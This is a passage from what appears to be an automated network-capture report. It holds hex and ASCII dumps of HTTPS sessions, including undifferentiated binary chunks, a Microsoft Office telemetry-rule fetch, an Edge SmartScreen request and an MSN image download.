W/^~b\|X_?r~vXwW
2024-11-20 07:09:23 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-20 07:09:23 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-20 07:09:23 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-20 07:09:23 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-20 07:09:23 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-20 07:09:23 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-20 07:09:23 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-20 07:09:23 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-20 07:09:23 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:23 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:23 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:23 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: be70ec4e-301e-000c-088c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070923Z-1777c6cb754dqb2khC1TEBmk1s000000097g0000000091mf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:23 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49822	52.159.108.190	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:23 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoidkFkeWRLS285MWc0d096TjFhbjg1UT09IiwgImhhc2giOiJPT3kzNTljd3piTT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-20 07:09:23 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-20 07:09:23 UTC	248	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:23 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-20 07:09:23 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49835	104.117.182.56	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:23 UTC	634	OUT	GET /tenant/amp/entityid/BB1msKSj.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:23 UTC	520	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msKSj Last-Modified: Fri, 15 Nov 2024 21:51:17 GMT X-Source-Length: 101189 X-Datacenter: westus X-ActivityId: 22220a85-5dca-4198-8d05-5b36a925dcc8 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 101189 Cache-Control: public, max-age=52994 Expires: Wed, 20 Nov 2024 21:52:37 GMT Date: Wed, 20 Nov 2024 07:09:23 GMT Connection: close
2024-11-20 07:09:23 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-20 07:09:23 UTC	16384	IN	Data Raw: 21 64 c2 12 2c 9a 42 14 18 08 8e 3f 59 f8 21 4c d8 21 42 8b 5c 9a 17 5a c9 02 fd ee 1f 2f 24 10 98 44 2a 8b 4f d8 f9 24 0b 55 09 b1 23 cb 74 28 05 2b 52 0e 27 30 c3 81 61 89 87 72 98 3b 58 c1 33 c2 12 88 83 63 3d 52 32 e1 17 4f 98 ee b9 5c 24 6b 73 8b a2 48 e5 10 20 0d 87 0b 47 89 dd 00 f1 56 b9 01 47 86 c3 cb f1 ea 88 2e b9 95 68 21 23 16 42 11 aa 35 42 28 13 c6 27 6d 89 f1 83 0a e1 5c 14 29 6e 71 71 26 c2 7a 0f a5 ad 08 61 12 b4 1a cc 52 db 99 bc 83 00 0f 2e 26 c8 29 24 12 01 81 72 6f 03 a9 4c 84 45 e6 8a 2d 48 25 db 09 24 da e6 24 f4 e0 10 10 ca e4 cb 09 91 3e 3b 75 40 90 02 37 36 36 24 8b 5e 22 fc 57 2e dd 09 07 db fb 2e 44 55 04 d0 14 7d 49 f1 56 09 12 06 c7 7d 94 9c 65 c0 3c b6 a9 a4 dd b1 66 8d c9 30 4c 79 47 9a 12 8c 2c 8a a3 33 13 3c 3c fc 95 0b Data Ascii: !d,B?Y!L!B\Z/$D*O$U#t(+R'0ar;X3c=R2O\$ksH GVG.h!#B5B('m\)nqq&zaR.&)$roLE-H%$$>;u@766$^"W..DU}IV}e<f0LyG,3<<
2024-11-20 07:09:23 UTC	1765	IN	Data Raw: b9 c2 e3 8d 99 07 6b 93 75 8f a4 0f f6 73 ea 76 72 6b 73 6b 61 b5 65 db 45 64 52 66 78 6c 17 ad 6f b5 03 72 1c 79 71 9e 6d a0 89 3d 81 0e 81 7e 84 9e 8a e7 7b 3d d9 d8 f2 ad c0 f7 81 10 4f e5 30 d7 79 80 4c 1f 03 2a 33 9a 41 82 08 23 81 10 67 a8 5e cd d9 f4 e3 2b 9a 58 d0 d2 3f c4 60 12 09 bd 2e 0d b8 89 ef 3b c2 8f 93 48 d7 bb 0b 35 2f e6 c8 03 ab 69 a0 db f8 9a b9 9c 20 f1 20 ae 9e bf 6f ca 5e 4e 15 47 55 bd ab f6 6b f0 f3 b1 e1 cc 89 2f 34 c3 7c c0 33 4f 56 c9 e8 b1 ce 37 34 07 11 62 26 45 da 7c 8f 6f 38 5d 33 bc ed ee 94 78 5c 9b 10 85 6b a9 2d 72 35 c9 80 2e 44 b9 04 15 c8 d0 20 9c b9 5a b8 41 81 52 38 54 82 52 e4 48 54 85 2a 44 b9 00 2a ab f4 cb 5d 21 a4 11 04 8a 80 bf e5 e3 e4 8b 82 8f 91 e1 94 b4 b4 bc b8 d9 80 5d d7 f2 58 7d 97 25 5f 59 b5 2f 33 Data Ascii: kusvrkskaeEdRfxloryqm=~{=O0yL3A#g^+X?`.;H5/i o^NGUk/4\|3OV74b&E\|o8]3x\k-r5.D ZAR8TRHTD*]!]X}%_Y/3
2024-11-20 07:09:24 UTC	16384	IN	Data Raw: 94 92 bb a0 71 29 64 aa 25 2c 95 44 a2 52 09 46 4a 49 54 02 50 15 68 13 20 94 08 d1 e3 0d 2f 0d 79 80 7b 10 3e 64 cd 91 b8 8a 8c 85 7a 57 fb 3f 18 63 8d 4f 04 77 2d 2d 98 90 2d dd 62 37 11 c8 25 85 ae b9 05 b5 0a 81 1c 38 78 46 e9 4e f2 a3 65 43 5c 98 e6 d0 48 75 88 dc 29 38 f4 ce c8 dc 8f 90 c6 e3 61 7b 89 dc b4 02 6c 38 cc 40 3b 4f 15 57 b4 80 ac 78 1f 95 c0 31 a4 cc c5 8c 58 49 5e a7 4b ec c1 27 d4 3c df a6 f0 5b bb 3f 33 4d a0 de d6 1c 37 0b 37 41 af 71 2d 6e 3c 38 d9 8a c0 3d c4 4b c9 68 98 2e 73 65 f7 2e 75 2d 23 82 d1 66 a9 ae d5 ea 18 5e 5f 1e eb 9a 63 94 34 90 d7 53 62 d8 75 af 32 2e b9 3b 7d 96 fa 78 67 75 a7 9b 4e 32 66 6e 53 93 3e 3c 83 94 37 11 80 f2 0c c9 64 89 8f eb 30 38 84 dc fa b7 60 7e 26 7a 39 32 35 fe f6 4e 0c 6d cb 8b 84 76 13 c0 1e Data Ascii: q)d%,DRFJITPh /y{>dzW?cOw---b7%8xFNeC\Hu)8a{l8@;OWx1XI^K'<[?3M77Aq-n<8=Kh.se.u-#f^_c4Sbu2.;}xguN2fnS><7d08`~&z925Nmv
2024-11-20 07:09:24 UTC	16384	IN	Data Raw: 7a 88 f1 d9 6d 33 09 38 2a 78 2c c6 1b 00 b8 dc f7 75 3b 92 78 0e 3b a1 36 a1 e9 f0 b3 44 c7 1c cf 63 4b da 4c 93 bb 4f 00 d1 2e 24 cf 05 13 06 0c 39 28 82 44 19 83 b3 e0 f1 69 98 81 c1 64 eb 33 bb 23 e1 ae 71 68 f7 41 ec 38 ba 38 f4 d8 6c a0 e2 c8 f6 3a 1a 4d ed bf c9 2d 69 23 68 61 c6 e2 fc 8e 88 0e 86 b1 a2 03 c9 36 f0 e3 68 41 e8 b7 d5 61 61 0d 22 48 02 26 5b 7d b6 83 e6 ad fa 6c f0 c6 be 96 45 e4 9d e4 ef 69 b8 16 e8 b4 74 fa 13 8c 8c 99 8d 34 98 6c 11 7f ea b0 f7 7c f7 4d 44 1c 4c 27 d5 2e 7b 5a 60 98 7e ee 32 4c 4c 98 1b 79 a7 e9 b5 25 f5 e0 e6 87 fb a2 77 03 60 4f 08 81 e0 a3 30 3f 50 ec 8c 66 40 cd cf 35 aa 1e 13 1d 63 75 d8 c1 39 bd 36 38 12 d9 e7 82 2e dd c8 9b db aa 7a 1a a7 2f a1 9f 1b 4b 83 5e 5a 0b f8 b4 3a 48 b9 b7 91 db 75 a3 48 cd 9b 1b Data Ascii: zm38*x,u;x;6DcKLO.$9(Did3#qhA88l:M-i#ha6hAaa"H&[}lEit4l\|MDL'.{Z`~2LLy%w`O0?Pf@5cu968.z/K^Z:HuH
2024-11-20 07:09:24 UTC	7952	IN	Data Raw: 00 0f 9f 1d 75 41 cf f4 43 5b 4c 10 62 72 47 f1 9e c3 8e f1 e6 a2 69 06 4d 6e 53 97 27 b8 d1 16 90 db dc 32 4e cd 1c 6e 13 9b 89 ec e6 cd 0c da 8c 38 cc e4 0c 6e cd d8 c0 3c 4b 94 c8 cd 98 5c 33 13 41 24 62 60 2e 0d 6f 56 c7 3b 8f 19 20 2b 69 9f 08 ba cd 5c ff 00 86 5a 1a d1 1c a2 d2 36 03 87 8a c2 d3 35 fa cc f1 73 4c 3b 73 6b de 4d c9 2a 53 f0 fe f3 2d 0c 2e 0d 61 73 6f ca 49 07 7a 44 81 f3 2b 47 52 d6 68 1a 34 98 84 66 70 9c cf d9 cc 69 10 31 8e c5 df ca 0d 85 92 69 3a e4 23 59 94 bf 2c 36 32 06 99 bf bb 2d de 26 2d 3c 7a 2c 0c c7 76 8e f2 6d df ad ca 97 93 fc 38 2e 6b ed 4c 36 39 48 1b 0e c3 be ea 2b 31 89 00 6e 78 de dd e4 46 d3 b0 48 49 89 58 47 a5 4b aa aa 5d 34 83 b5 b6 b7 85 cf 82 f4 58 f2 5f 90 96 d4 d2 0d 8c 1b f6 ee 47 12 b1 08 c7 8a 8b 8b b8 Data 